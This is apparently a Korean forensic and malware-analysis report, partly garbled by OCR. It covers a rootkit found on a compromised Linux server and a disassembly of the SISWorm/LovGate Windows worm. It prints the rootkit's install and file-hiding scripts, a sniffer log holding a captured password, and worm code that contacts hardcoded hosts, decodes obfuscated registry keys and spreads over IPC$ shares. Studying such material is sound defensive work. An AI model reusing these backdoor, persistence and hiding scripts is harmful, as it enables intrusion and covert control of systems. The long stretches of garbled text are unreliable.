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bash-2.05b# cat /mnt/var/log/messages | more

i

Jun 8 00:47:08 www login(pam_unix)[885]: authentication failure; logname= uid=0 euid=0 tty=pts/0 ruser=
rhost=192.168.131.1

Jun 8 00:47:24 www su(pam_unix)[922]: authentication failure; logname=jacob uid=500 euid=0 tty=
ruser=jacob rhost= user=root

o} e EFo] Btk /mnt/etc/passwd IS AHE Ay} shellS 713 AFE-A= root) jacob ¥Q1d]
/mnt/var/log/secure 5+& EAg A7 jacobe Az AAE AHEAAT.

bash-2.05b# cat secure

Jun 7 17:22:11 localhost adduser[9106]: new group: name=jacob, gid=500

Jun 7 17:22:11 localhost adduser[9106]: new user: name=jacob, uid=500, gid=500,
home=/home/jacob, shell=/bin/bash

Jun 7 17:58:00 www useradd[1078]: new group: name=apache, gid=48

Jun 7 17:58:00 www useradd[1078]: new user: name=apache, uid=48, gid=48, home=/v
ar/www, shell=/bin/false

Jun 8 00:47:03 www xinetd[758]: START: telnet pid=884 from=192.168.131.1

Jun 8 00:48:32 www xinetd[758]: START: telnet pid=967 from=192.168.131.1

o] 215 HW 6¢¥ 7Y jacobo|gt= AFEA7E F71E| AT jacobe] historyE A H QLT

bash-2.05b# cd /home/jacob
bash-2.05b# cat .bash_history
su -
su -



su -
su -
su -
bash-2.05b#
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bash-2.05b# strings httpd | grep 1.3.23
<ADDRESS>Apache/1.3.23 Server at <A HREF="mailto:
<ADDRESS>Apache/1.3.23 Server at

Apache/1.3.23

Apache/1.3.23 (Unix)

bash-2.05b#

bash-2.05b# Is -al sshd

~TWXT-XT-X 1 root root 234924 Feb 15 2000 sshd
bash-2.05b# strings sshd | grep 0.9

MD?5 part of OpenSSL 0.9.4 09 Aug 1999

Big Number part of OpenSSL 0.9.4 09 Aug 1999
RSA part of OpenSSL 0.9.4 09 Aug 1999

libdes part of OpenSSL 0.9.4 09 Aug 1999

DES part of OpenSSL 0.9.4 09 Aug 1999

Stack part of OpenSSL 0.9.4 09 Aug 1999

lhash part of OpenSSL 0.9.4 09 Aug 1999
RAND part of OpenSSL 0.9.4 09 Aug 1999
SHAI1 part of OpenSSL 0.9.4 09 Aug 1999

@(#) rfc931.c 1.10 95/01/02 16:11:34

bash-2.05b#

<219, o}uhA) 9} SSHe| v A>

aga FAAE Ae] EAE AF7] AsiA ol e} o] .bash_history #-& /dev/nullz Ei¥ g




bash-2.05b# cd /mnt/root
bash-2.05b# Is -al

total 56

drwxr-x--- 2 root root 4096 Jun 8 18:11 .

drwxr-xr-x 18 root root 4096 Jun 8 00:46 ..

-ITW-T--T-- 1 root root 1126 Aug 24 1995 Xresources
Irwxrwxrwx 1 root root 9 Jun 8 18:11 .bash_history -> /dev/null
“TW-T--T-- 1 root root 24 Jun 11 2000 .bash_logout
-rw-r--r-- 1 root root 305 Aug 20 2002 .bash_profile
-rw-r--r-- 1 root root 234 Jul 6 2001 .bash_profile.wow
-rw-r-r-- 1 root root 176 Aug 24 1995 .bashrc
-I'W-T--T-- 1 root root 210 Jun 11 2000 .cshre

-I'W-T--T-- 1 root root 196 Jul 12 2000 .tcshre

TWemmmmmm 1 root root 3973 Jun 7 18:04 .viminfo
-rw-r--r-- 1 root root 1128 Jun 8 02:02 anaconda-ks.cfg
-rw-r--r-- 1 root root 9315 Jun 8 01:58 installlog
-rw-r--r-- 1 root root 0 Jun 8 01:44 install.log.syslog

bash-2.05b# pwd

/mnt/usr/lib/librk

bash-2.05b# Is -al

total 1364

drwxr-xr-x 3 root root 4096 Jun 8 0148 .
drwxr-xr-x 26 root root 12288 Jun 8 18:08 ..
drwxr-xr-x 2 root root 4096 Jun 8 18:11 rootkit
-I'W-T--T-- 1 root root 1372160 Jul 31 2002 rootkit.tar

bash-2.05b# cd rootkit
bash-2.05b# 1s -al

total 1400

drwxr-xr-x 2 root root 4096 Jun 8 18:11 .
drwxr-xr-x 3 root root 4096 Jun 8 01:48 ..
-rw-r-r-- 1 root root 302 Jun 8 18:11 .snifflogsk
-TWXT-XT-X 1 root root 15380 Jul 31 2002 bindshell
-rwxr-xr-x 1 root root 8092 Jul 31 2002 cgiback.cgi
-TWXT-XT-X 1 root root 603 Jul 31 2002 hideit
-TWXT-XT-X 1 root root 352 Jul 31 2002 install
-rwxr-xr-x 1 root root 9368 Jul 31 2002 logclean
-TWXT-XT-X 1 root root 184023 Jul 31 2002 Is



“ITWXT-XT-X 1 root root 258612 Jul 31 2002 netstat
-rwxr-xr-x 1 root root 47388 Jul 31 2002 ps
-TWXT-XT-X 1 root root 6872 Jul 31 2002 sniffer
-rwxr-xr-x 1 root root 11028 Jul 31 2002 targets
-TWXT-XT-X 1 root root 817052 Jul 31 2002 x3

<a®. 229 94>

FARE tar FFHo] © FEAL BN om 371 342 Fulshavk

bash-2.05b# more rc.d/rc.sysinit

#1/bin/bash

#

# [etc/rc.sysinit - run once at boot time

#

# Taken in part from Miquel van Smoorenburg’s bcheckre.
#H ommmmmmneee T A it

kill -TERM ‘/sbin/pidof getkey’ >/dev/null 2>&1

} &

if [ "$PROMPT" = "no" |; then
/sbin/getkey i &é& touch /var/run/confirm
fi
wait
/sbin/bshell
/sbin/srload

<39, F7F T4 £Hl>

FEZo] 7tz ofWl AE-S dhe=A| Folr 7] 98 strings WHS T FALS FEI Euh

bash-2.05b# Is -al

total 1400

drwxr-xr-x 2 root root 4096 Jun 8 18:11 .
drwxr-xr-x 3 root root 4096 Jun 8 01:48 ..
-ITW-T--T-- 1 root root 302 Jun 8 18:11 .snifflogsk
“ITWXT-XT-X 1 root root 15380 Jul 31 2002 bindshell
-rwxr-xr-x 1 root root 8092 Jul 31 2002 cgiback.cgi
-TWXT-XT-X 1 root root 603 Jul 31 2002 hideit
-TWXT-XT-X 1 root root 352 Jul 31 2002 install

-rwxr-xr-x 1 root root 9368 Jul 31 2002 logclean



“ITWXT-XT-X 1 root root 184023 Jul 31 2002 1s
-TWXT-XT-X 1 root root 258612 Jul 31 2002 netstat
-rwxr-xr-x 1 root root 47388 Jul 31 2002 ps
“ITWXT-XT-X 1 root root 6872 Jul 31 2002 sniffer
-rwxr-xr-x 1 root root 11028 Jul 31 2002 targets
-TWXT-XT-X 1 root root 817052 Jul 31 2002 x3
bash-2.05b# more .snifflogsk

Time: Tue Jun 8 18:10:06 Size: 153

Path: 192.168.131.1 => 192.168.131.136 [23]

#'lotus
test123

su -
test123

Is

pwd

tar -xvf root
cd root
Is
logcelean
./logclean
ifconfig -a

bash-2.05b# strings bindshell |more
/lib/1d-linux.so.2

libc.so.6
getpid
execl
dup2
socket
bzero
accept
bind

__deregister_frame_info

signal
setpgrp
htonl
listen
fork



htons

exit
_IO_stdin_used
__libc_start_main
__register_frame_info
close
__gmon_start__
GLIBC_2.0

PTRh

QVh

(nfsiod)

/bin/sh

bash-2.05b# more hideit
#!/bin/sh

mkdir /dev/ptyxx

I

echo "--+ hiding files & directories +--"
echo sniffer > /dev/ptyxx/ file

echo bindshell >> /dev/ptyxx/ file
echo rootkit >> /dev/ptyxx/ file

echo .snifflogsk >> /dev/ptyxx/ file

echo "--+ hiding process +--"

echo "2 cgiback.cgi" > /dev/ptyxx/.proc
echo "2 bshell" >> /dev/ptyxx/.proc
echo "2 srload" >> /dev/ptyxx/.proc

echo "--+ hiding network +--"

echo "2 192.168.131.136" > /dev/ptyxx/.addr
echo "1 192.168.131.136" >> /dev/ptyxx/.addr
echo "3 2222" >> /dev/ptyxx/.addr

echo "4 2222" >> /[dev/ptyxx/.addr

rm -f /root/.bash_history

In -s /dev/null /root/.bash_history

bash-2.05b# strings install | more
#! /bin/sh
chown -R root ./*



cp -f ./Is /bin/ls

cp -f ./ps /bin/ps

cp -f ./netstat /bin/netstat

cp -f /bindshell /sbin/bshell

cp -f J/sniffer /sbin/srload

cp f ./cgiback.cgi /var/www/cgi-bin/
echo "/sbin/bshell" >> fetc/rc.d/rc.sysinit
echo "/sbin/srload" >> /etc/rc.d/rc.sysinit
chmod u+s fvar/www/cgi-bin/cgiback.cgi
/sbin/bshell

/sbin/srload

bash-2.05b# strings /mnt/sbin/srload | more
/lib/1d-linux.so.2
libc.so.6

strepy

ioctl

PEI‘I'OI"

dup2

malloc
gethostbyaddr
socket

fflush

alarm

fprintf

ctime
__deregister_frame_info
signal

read

strnepy

fork

inet_ntoa

isprint

fclose

stderr

exit

fopen
_IO_stdin_used
__libc_start_main

setsid



__register_frame_info
free

__gmon_start__
GLIBC_2.1
GLIBC_2.0

PTRh

uyf;{

Time: %s Size: %d
Path: %s
=> %s [%d]

Exiting...

cant get SOCK_PACKET socket
cant get flags

cant set promiscuous mode
/dev/null

eth0

.snifflogsk

cant open log

bash-2.05b# strings /mnt/sbin/bshell | more
/lib/1d-linux.so.2
libc.so.6

getpid

execl

dup2

socket

bzero

accept

bind
__deregister_frame_info
signal

setpgrp

htonl

listen

fork

htons

exit

_10_stdin_used

__libc_start_main



__register_frame_info
close

__gmon_start__
GLIBC_2.0

PTRh

QVh

(nfsiod)

/bin/sh

install ¥}4-& 233}A resysinit 3ol bshell?} srload §50] F7l=H ) 3 setuid’} 23 cgi 31L S 3]
FE Y Egd Adx g
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bindshell, bshell ¥} Y& bind shellS A= T2 oo g FAHECH

srload e ~U52Q 7o g FA% =6 networkS Promiscuous mode® W& sle] UL i) o] ~
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bash-2.05b# more .snifflogsk

Time: Tue Jun 8 18:10:06 Size: 153
Path: 192.168.131.1 => 192.168.131.136 [23]

#'lotus
test123
su -
test123
Is
pwd
tar -xvf root
cd root
Is
logcelean
./ logclean

ifconfig -a
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SISWorm-2 LoveGate®] ®WZ2] 3}1}2 Win32/LovGate.worm.108544 ¢} wj-$- §-A}3}t}. SMBE o] &3 Hu}
7} 7Vsst AR o] Z)so] AghEe] glo] AARE Hu= kA ek B3 Emails 53 A V) E 7R
ARG A AP A= e 9 AFYL 16,384 bytee] Z7]|E 7FA A ¥F UPX ¢HEo] Ho] §lo] g0
E¥]a U 20,992 byteo] =717} "tk o] ¢ Windows 2k, XPoll¥t &g m Xt}

A= s

E o] &3 A9} Kazzavl= P2P 271, SMTPE o] &3 Auprl € 4 gloy 4
< & 8¥YE o] FojA 1 ¢

. SMB+= IP7} 211.241.82.124 Q1 &2E2] 4459 YT ER HNLHU. HAEL

£ L0

SISWorm.exeE 433l 7+do] Hd
HAF 53

L UPX gh3o] #ojql Aale] B 5} winsystemm.exe(20,992 byte)d o] F 0.2 wHE 1l windows system
2t (o] :"C:\WINNT\system32")o]] E-A}g}c}.

2. n}F7HA £ winlognm.dll(5,632 byte) 3}-S system ZET|ef] AYAIgc)

3. @A ~E 8] o] winsystemm.exe ¥ Yo| REIA] A|ZE L2 3]
HKLM\ Software\ Microsoft\ Windows\ CurrentVersion\ Run\ winsystemm.exe

4, Ae 9L APt 7FEEUE wel= TCP/1162, TCP/4017, TCP/1181, TCP/1195 ¥ EE LISTENS}H
Wzo] 93-S 3hA €t

5. AlxElo] AREIF O] FHAAEL F2F  winsystemmeexer} AdPE 3 A TCP/1027, TCP/1032,
TCP/1037H X EE LISTENSH}

6. T =& (notepad)E A3Y5to] wlolugE WA}

Bo4ALB6C)| . 50 PUSH EAX <%s>

bo4ALEGD || . 8D8B5 OCFBFFFF|LEA EAX,DWORD PTR SS:[EBP-464]

OOLALBYZ|) . 68 BA3LLADD PUSH sisworm_.004A3400 Format = "notepad %s"
BB4ALEYR|| . 50 PUSH EAX 5

BO4A4879 || . FF15 A8184AG0| CALL DWORD PTR DS:[<&USER32.wsprintfa>]|Lusprintfa

<ad. §gd Z=>



=10l x|

By HEITE) MA0) ESEH)

@%ﬂ%ﬁ%ﬂ:?ﬁﬂx‘uﬂié*(%é??l%fikiﬁ?E"%iﬂ"NPL%%?% i i
<a°%—}ﬁouuopﬂw+ 6Eh::‘?at°£*r?=wﬂﬂﬂﬂ"s}§‘?‘?)jﬁtl)gf; z42bq 7d5E{E2{PE ?28lin?R A 27{hI

ITB‘?‘?‘?—|g&HI§}""] $2) B L v6x, S EHdY S 42U L9429 1EIIE S SUr< SrFL? S [uSligh S S 9922TB?267§

ﬂuvlcvo}RFoﬁuﬂI@Fjﬁ% E3- ‘?BWIJJJ]P'[E H«W?rz?hw{IL|6=F?2446?cc-?,;[@??;~¥?mn—Eﬁr???ﬂl?;“—g?g??m{

HuriEerq=h1, uE}"?‘?R|M|‘?2‘?kBgF‘? yam—2 ﬁoo'om,‘eono

[ /L2 22 2y e &19TT|:.EW‘?9."@9J‘.$‘%ECCH>' SreHERoffes fRaofyElre | HlovT2E 37 Els  BERRE 2P ER

e B 142 El? " El@n

T2 oSl e TN S [t 2§l 2 sorQ_Eln? 422212 t 15Iq7[?

T 2i-ff]

1S1yfE {?7+<ChEI2Zt =#{7 .7 - 1MsET ]S ch°w4w5'?'?{lﬂl IRP3JEIuB SE 70 72 ¢

2w rrecEeT 7Sl U8 2= n?? U recwE S Hl{EcEl] @'?x'?'?'?}-nllll?ﬂ thlnws 2 146 = 20q 72 2Fu? &

| =15205226 1 2 NEE|2n3pot izl FL

E{?F-K?bxZYp3E?? )y U A nse 2/ 2 221 EW 15

Lut? 2 quaFZE 1{TEWES  NiE=|? g‘iu.:?(u)nl@ﬂﬁxggnag_c?[@?ggRﬂ%@g-‘—tﬁlgﬁnt’g?ﬁ?“ﬁ?f?u:ﬂ

=20 20%>? | PEPERD/SPE 2T T (et [R T 022 2r 2Bt qRE 22D

?ye4terrte Tl a2 op e 2Pl 22/ T 2222 Juv NS 22 KU TF2 =

HE,—|3|‘?‘?‘?’3|W‘?E‘??3NNU‘?& fug"D TIEEZHS?  Tle7m| Wil BT R e

37z D@ﬂ_ooo 2oy JB-7- HHSEH-.’EJI-?(_,qou_ﬂ]c.-lFoo

iH gmoLoTooiaiﬁﬁ-oFI@-?ﬂom:oHHE]on] dc'oPlrookHﬂEﬁ$~}o_ﬁ'T>_

w3‘?d‘?w ‘?tﬁ‘?HT GEeHH R RS R=E e A B2 S 202285 s 22 2 2R Tl 2t e Sk evo B 2SI E Se Tt

2¥l?7e - ?7L g.oDHo‘o 2 ?ﬂ‘?‘?ﬁ[:hu‘?'[{—‘?‘—*‘?'i'lLiF"t":F'—tDle92[]]5'5“[:‘?‘?mg‘?§LM”qh

220UIF|N27222] SasuIErg( S EIZFSvE 2R 0EI6R?? nmh Q21T 9rEdrs ™ 2237 HEEC B9 ©

l»‘b‘H ﬂz-""HEH

qll ?g7unE 2 1cc | H? . {Hu g ?Hm? <) 4

76 '?UI2u°u1°*§qAn°(1x5n41°Ex°H1{vuﬁ}ﬁ?

W, 2 %cEPh)? S TIPS e 2 /3 ) 2232 4a =] 5] 292222  2AR? E 2 N2 ? SFGCSrD2E? ZE QN2 - PAU Edd - H E

2mH??2| al?_ 7| 7= Tugl??: ]mllq]‘?EEG‘:ELJ&tJEﬁ!& 9-‘—'r'='uZTJ'='qq]?"9'='='l'?s»‘f‘*l*«%?I 20 2rH0 2202 L4 i 2

G-;'Haglju‘?‘?S‘?‘?t‘? FarufEap? 2 iR 4 S E - (9552007 1q0asi TR Hley= (o fEzr L em$ LN Gr [ BT 28—
Sl 2 Fa t?]5517255EEn?, ottio':'o—.u—gow—}o Exr e ele

Ertves o Al b o8

2T

1iff=t2e?e e 72 22l 12D 2 A 1 [ TL 2| W4E52 3 Fuuk022u O ZHreZme woqlBle 2 S emHBETEHClFE S 24

H

s>°nx““mli°°~m§ExT%Hv 7‘@#*m'?eaizﬁmu%iﬁ__kw%ﬂ?ﬂp?wa??ﬁg?vn_vzJ?Hy_t{?_}'gﬂgﬁ,?*x? cd¥l
"S4NI?h?EF? 2ol 5 5"‘@ 2°FH°$3%=;@3x5“'Up+I°ﬁE§5E?§% EH hyht

AL H2 {RIE nﬁr_ff'?n E o7wC7S?E <A geh 7a B e EHE72p = E(B)IHgs? A h 17 nNE c FxtF2 D74
2q11d357 3t 0677 7REsi | 22 Wxif SE K< ol 2[R 4 TEY SRy - e7d F2hI? Sl 2t iqn17{atu] f 2682kl
2AE] o/ EH T-NbEE?E| 2 X O0?F E E0TCTIR, T2 2 &

|

<ag. MEge] dWH L>

AW ZAE AzPlAE 9 o o e gk,
% 5

o] Y=g YAt

® N
o)

o di =y

SISWorm ¥l 2 g fo) &317] "o Z2AAE FEAY= Ax s g == 2 #e
A5 A3 (Ctrl+Alt+Del)sle] SISWorm.exe(# ¥ F-°oli= winsystemm.exe)E FF5A|7|W Frh Y= 5238}
of ofe] mEAsst BY A PID} 7Hg Re Z2AAE FEAJD UAE FEA/Y € 05
A T2 A 227} FEE7]) Ao BRE AR AV FREA G A2HE QY old A$-dE PID =&
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HKLM\ Software\ Microsoft\ Windows\ CurrentVersion\ Run\ winsystemm.exe

Tel3 AESE AsY FGR o] Fste] YEASH DLL %de AbA| gk



o>
C:\WINNT\ system32\ winsystemm.exe
CA\WINNT\ system32\ winlogonm.dll

o] o]F 2= o] g A FEEA Zor T ol HdIYHAR Let EE A|AHA AHE S
SISWorm.exex 4 7]& o] &3le] 73 & 2-Agt)

e AF 7HsA

SISWorm2 f1%=-¢-= F/FET S F 3, E-mail A3}, P2P Z2 o] HofH S BF o] &8 5 A= A
8-S 7HAa ot dE ZEEo] 5 EASAN AalEA] ¢k oS Molth o]Z& LovGated} e WE
o7 ZZE 4% 93l SMBE Sl B4R £ 2E9Q IP addressE Wl %35l DDoS 32 E2x 8873
F As P-r‘i'?} ol e} LISTEN6}~‘= ENSE WSt Wirolg2r W 4 Utk wepA] o] YRR E AlX
OJEE T3l FokH HHE BT dal E-maile] HF9AdE dFstA
°‘°1—°I= g Zlolt. BEET& AdmmnstratoA Aol HAEE B =S A0E WAs Yol & Zoln W3}
8-S AXde x FL2 We] 2R

w4

9 2A0 EFE ] e Th5e string HolEES Aupulel A 28 W g ZEth o)A ofde] ZEd)
A g1g 4 Qlrk.

peyp4Ana|| . BE GC344000 | MOV ESI,sisworm_.@04A346C ASCII "ABCDEFGHIJKLHMHOPQRS TUUWWX"
ge4ALAAS (| - 59 POP ECX

gosasnnG || - 8DFD EL LEA EDI,DWORD PTR SS:[EBP-1C]

ge4ALAAD (| - F3:AS REF MOUS DWORD PTR ES:[EDI],DWORD PTR D

0B4ALAAE (| . AL MOUS BYTE PTR ES:[EDI].BYTE PTR DS:[ESI

gesaLanc|| - 6A @6 PUSH 6

geLasAnE|| - BE 58344000 MOU ESI,sisworm_.B64A3450 ASCII "abcdefghijklmnopgrstuvwx"
ARununRall . 5o PNP FCX

#e] =+ “Olly Debugger’gl= tyH A Z 21304 SISWorm.exeE UPX }5E ¥+ Fo| Disassemble
3k AR Eolt) 9oA] B vlel duWl-S ulg o g Stackd] loadst HlolEE WHEAZIL Z Loyl o}
g o} 22 FFol e} wjH o] Qo

ABCDEFGHIJKLMNOPQRSTUVWX
MNOPQRSTUVWXABCDEFGHIJKL
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084A4ADT || .
084A4ADZ || .
B84A4ADS || .
084A4ADG || .
084A4ADY || .
084A4ADA|] -
084A4ADE || .
OB4ALAEBD|| .
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E8 D2B40000
8B3% ©8104A00
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LEA ECX,DWORD PTR SS:[EBP-1C]
PUSH 18

SUB EAX,ECX

POP ECX

ADD EAX,BC

con

IDIV ECXK

MOV AL,BYTE PTR SS:[EBP+EDX-1C]
LEAVE

RETH
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LEA EAX,DWORD PTR SS:[EBP-AN4]

PUSH sisworm_.08084A33DA

PUSH EAX

CALL sisworm_._0884A4B 8D

LEA EAX,DWORD PTR S5:[EBP-24]

PUSH sisworm_.B84A33CAH

PUSH EAX

CALL sisworm_.B884%A4B 8D

WOV ESI,.DWORD PTR DS:[<&ADUAPI32.RegOpe
Ann F<P 1A

2l

A
H Ea>

o] WgHL.

ASCII “Gorhkmfq#AuoFegorh¥iubpokoWoif FqbhJgfguchWFib™

ASCII “kubgyghgaa.qlg”

ADVAPI 32 .ReqOpenKeyExA

Gerhkmfqg\ Auofcgerh\ Kubpckg\ Oiffqbh]qfgucb\ Fib = Software\ Microsoft\ Windows\ CurrentVersion\ Run
kubgyghqaa.qlq = winsystemm.exe
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TR s e = wULus Turn rr L L L Bl LT

geunas2an(| - 50 PUSH EAX pWsaData

BB4ASZAB || - 6A B2 PUSH 2 [RequestedUersiun =2 (2.8.)
Beuas2ab || - ES 88030008 CALL <JHP.&WS2_32.#115> WsaStartup
Be4AS2B82 || - 68 D8414AGA PUSH sisworm_.084A41D8 [Hame = "211.241.82.124"
BB4AS2BY || - E8 16830008 CALL <JWP.&WS2_32.#52> gethostbyname
BB4ASZBC (| . SBFE MOU EDI,EAX

BB4ASZBE(| . 33DE XOR EBX,EBX

geunas2ca(| . 3IBFE CHP EDI,EBX

aauas2c2 (| . 7% 11 JHZ SHORT sisworm_.B884A52D5

BB4ASZCY || - 68 Chd1hAB8 PUSH sisworm_.@884A41CH [5 = "[-] gethostbyname **
BA4ASZCO || > FF15 98184A68(CALL DWORD PTR DS :[<&MSVCRT.perrori>] perror

BA4ASZCF (| . 59 FOP ECX

Ba4as20a|| ., E9 BEAZ20008 JHP sisworm_.@84A54E3

BB4AS2DS (| > 53 PUSH EBX Protocol

aauAs2D6 (| - 6A 01 PUSH 1 Type = SOCK_STREAH
BBa4AS2DR (| - 6 A2 PUSH 2 Family = AF_IHET
BauAs20A || - ER EDB2000A CALL <JHP.&WS2_32.#23> socket

BO4ASZDF (| . 8BBFAO MOU ESTI,EAX

Baun52E1(| - 83FE FF CHP ESTI,-1

BO4AS2EL(| - 8975 FC MOU DWORD PTR SS:[EBP-4],ESI

BO4AS2EY (| ... 75 O7F JNZ SHORT sisworm_.@84AS52F8

BO4ASZEY || . 68 BCY414AOA PUSH sisworm_.084A41BC ASCII “socket™
B04A52EE|| ."EE D9 JHP SHORT sisworm_.B84A52CY9

B84A52F8 || > 68 BDO1000A PUSH 1BD HetShort = 1BD
BO4ASZ2FS || - 66:C745 DC 82| MOV WORD PTR SS:[EBP-24],2 [

BB4AS2FE || - E8 C6B20008 CALL <JHP.&WS2_32.#9> ntohs

Be4AS30a|| . 66:8945 DE MOU WORD PTR SS:[EBP-22].AX
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AO4A1SFO| G0 08 B0 85 FF 53 4D 42 72 A0 00 G0 00 18 53 C8| .. _7SHMBr....JS
aeuyA1600| A0 A6 A0 B0 A0 B8 A0 60 OO B0 OB 60 08 @0 FF FE| .. .. .......... ij
aeuA1610| B0 B0 B0 B0 A0 62 B0 B2 50 43 20 4E 45 54 57 4F| .. ... h_PC NETWO
aeuA1620|52 4B 28 58 52 4F 47 52 41 4D 28 31 2E 30 60 02| RK PROGRAM 1.8
BO4A1630| 4C 41 4E 4D 41 4E 31 2E 30 8@ B2 57 69 6E 64 6F LAMMAN1.0.YWindo
gpuatGu0|¥F 73 28 66 6F 72 20 57 6F 72 6B 67 72 6F 75 78|ws for Workgroup
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B84A16BEF aa DB @8

po4a16FB| . 18354A88 DD winsyste.BB4A3518 ASCITI "jwanzcH"
BB4A16F 4 B8354A 00 DD winsyste.B84A3508 ASCII "vpd2884-svany"
084A106F8 F4344Aaoe DD winsyste.BB4A34FYL ASCII "npgvinguba_penpx"
884A16FC D8344ABO DD winsyste.B84A34D8 ASCII "fgevc-tvey-2.Boqpbz_cngpurf™
BB4a1160 CC344ABB DD winsyste.BB4A3LEC ASCII "ebbgxvgKC"
a84A1164 BC344ABG DD winsyste.B84A34BC ASCII "bssupr_penpx"
aB4A1168 BB344ABA DD winsyste.BB4A3LBA ASCII "ahxr2apy"
8o4a116C EC384A0B DD winsyste.BB4AIBEC ASCII "aup™

Bosa1110 E4384A0B DD winsyste. BB4AIBEY ASCII "syma"

ae4A1114 DC384ABA DD winsyste.BB4A3SDC ASCII "icrosof”
oo4a1118 D4334A00 DD winsyste.BB4A3EDY ASGII “msn.*

ae4a111c CC334n0n DD winsyste.BB4A3IBCC ASCII “"hotmail™
ge4n1120 C4334n00 DD winsyste.BB4A3ECY ASGII “panda®
004A1124 BGC334n00 DD winsyste.BB4A3IBBC ASGII “sopho*
004a1128 B4334n00 DD winsyste.BB4A3EBY ASGII “borlan®
ae4a112C AGC384n00 DD winsyste.BB4AIBAC ASCII “inpris™
ae4n1130 A4384000 DD winsyste.BB4A38AL ASGII “example”
084A1134 9C384000 DD winsyste.BB4A3IBOC ASCII "mydomai™
084a1138 94384A00 DD winsyste.BB4A3894 ASCII “"nodomai”
884a113C 8C384A00 DD winsyste.BB4A3IBBC ASCII “ruslis™
a84a1140 84384A00 DD winsyste.BB4A388Y ASCII “.gov*

BB4A1144 7C384A06 DD winsyste.B84A3BTC ASCII “gow.*™

BB4A1148 74384A08 DD winsyste.BB4A38T7Y ASCIT ".mil™

GLLERRETH 6C384ABR DD winsuste.B84A3BGC ASCII “foo."

<18, 9 EA7} 7R 29 do]. o)skE A

BB4ALC23|) - 8D8S 98FEFFFF

084A4C29 ] .
084A4C2E|]| -

oosasc2F || . 745 F8 eeE10
<. o] A4S WeshdA Software\Kazaa\ Transfero] 3>

68 4C354n08
LY}

LEA EAX,DWORD PTR SS:[EBP-168]

PUSH sisworm_.@04A354C
PUSH EAX
MOU DWORD PTR SS:TEBP-81.188

ASCII "Gorhkmfqdmznm#HFmbgrqf™

BB4A5046|) . BE S48BOOGA MOV EAX,8B54

BB4A5B4E|) . ES BAAS 0008 CALL sisworm_.B0B84A5600

BB4A5E58() . A1 B8424AR0N0 MOV EAX,DUWORD PTR DS:[4A4208]

BB4A5H55|) . 68 FCA14R00 PUSH sisworm_.@84A41FC <%s> = "localhost™
BB4ASH5A(] - 8945 EC MOV DWORD PTR SS:[EBP-14],ERX

BB4ASE5D (] - A1 BCA24A08 MOV EAX,DWORD PTR DS:[4A428C]

BB4ASBE6Z2|) . 8945 FA MOV DWORD PTR SS3:[EBP-18],EAX

BB4A5B65|) . 8D4S Bh LEA EAX,DWORD PTR SS:[EBP-4C]

BB4ASH6GE|) . 68 FBA14ABA PUSH sisworm_.@884R41F@ format = “W%skipcs™
fa4asa6lk () . 508 PUSH EAX s

BB4ASB6GE|] . E& C3A50888 CALL <JHP.&HSUCRT .sprintf> sprintf

BB4ASB7 (] - 83C4 BC ADD ESP,8C

<714. localhoste] tfgh \\ %s\ipc$ #AE EA>

W 9] 2] dlo]E = Win32/LovGate.worm. 108544 o] 7} dlA )= Al A H| o] ¥, E-mail address?] ©]o]
Eo} 2o 242 7HA A Ao Y8 oF7F thEn. & “Software\Kazaa\ Transfer” & &t} “\\ %s\ipc$”
zoe] BALS BEo] Atk EF dae] A= A4 W 7 2d=s) ARE A= 2T
Ho] gt} o] # 3} signature= Win32/LovGate.worm.108544 9131 #4135k el E 71x]a1 9)o] LovGate2] H
29 Aoz FFAYL].
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BO4AKESB (| . 56 PUSH ESI
BO4ARESC || . 8DBS FOFDFFFF|LEA EAX,DWORD PTR SS:[EEP-218]

posnsEnz || . 68 DO3FHABE | PUSH sisworm_.B04A3FDO ASCIT “SOH 7 THHD/1.1]@Tcgh: ocbgixh.guubregqo.oc.ue[GHE"
ooankER7 || . 58 PUSH EAX

posnsEAs || . EB 6OFCFFFF | CALL sisworm_.B04ALBED

oosnsERD || . 59 POP ECX

ol A& WEstH
GET / HTTP/1.1
Host: consult.skinfosec.co.kr

o] ¥th olAL FAZE =283} o A AFT 22¥ =7} consult.skinfosec.cokr T 2AE 2] 80FEE R 1024ms v}
o} A o] HTTP RequestE AFotes QE o] AR Az AP o] R SEHA
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[1] http://info.ahnlab.com/smart2u/virus_detail_1393.html



